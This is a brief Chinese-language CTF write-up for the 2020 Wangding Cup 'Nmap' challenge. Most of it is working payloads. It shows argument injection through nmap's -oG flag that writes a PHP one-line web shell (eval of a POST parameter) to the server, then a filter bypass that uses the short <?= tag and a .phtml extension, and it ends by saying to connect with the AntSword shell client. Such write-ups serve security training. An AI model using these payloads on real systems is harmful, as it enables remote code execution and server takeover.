[網鼎杯 2020 朱雀組]Nmap

Nmap -oG 可以寫入文件 因此我們可以寫入一句話木馬

payload如下

' <?php @eval($_POST["hack"]);?> -oG hack.php '

結果回顯hacker php被過濾 因此考慮用短標簽繞過

' <?= @eval($_POST["pd"]);?> -oG pd.phtml '

用蟻劍連接即可